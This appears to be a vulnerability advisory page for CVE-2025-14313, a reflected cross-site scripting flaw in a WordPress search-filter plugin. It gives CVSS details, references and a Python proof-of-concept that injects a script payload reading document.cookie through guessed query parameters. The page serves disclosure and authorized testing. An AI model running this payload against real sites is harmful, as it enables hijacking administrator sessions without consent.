CVE-2025-14313

Description

The Advance WP Query Search Filter WordPress plugin through 1.0.10 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Advance WP Query Search Filter WordPress plugin <= 1.0.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-14313 PoC - Reflected XSS in Advance WP Query Search Filter
# Target: WordPress site with Advance WP Query Search Filter plugin <= 1.0.10

target_url = "http://target-wordpress-site.com"
payload = "<script>alert(document.cookie)</script>"

# Try common parameter names used by the plugin
params_to_test = [
    {"awqsf_search": payload},
    {"s": payload},
    {"search": payload},
    {"awqsf_cat": payload},
]

for params in params_to_test:
    try:
        response = requests.get(target_url, params=params, timeout=10)
        if payload in response.text:
            print(f"[+] XSS vulnerability confirmed!")
            print(f"[+] Vulnerable URL: {response.url}")
            print(f"[+] Payload reflected in response")
            break
    except requests.RequestException as e:
        print(f"[-] Request failed: {e}")

print("\n[!] Note: This PoC demonstrates the vulnerability exists.")
print("[!] In real attack, attacker would trick admin to click this link.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14313
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14313
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14313/
[4] VulDB https://vuldb.com/cve/CVE-2025-14313
[5] https://wpscan.com/vulnerability/5ebcdb32-da82-4129-8538-40d1b03a1108/

Raw JSON Data

JSON

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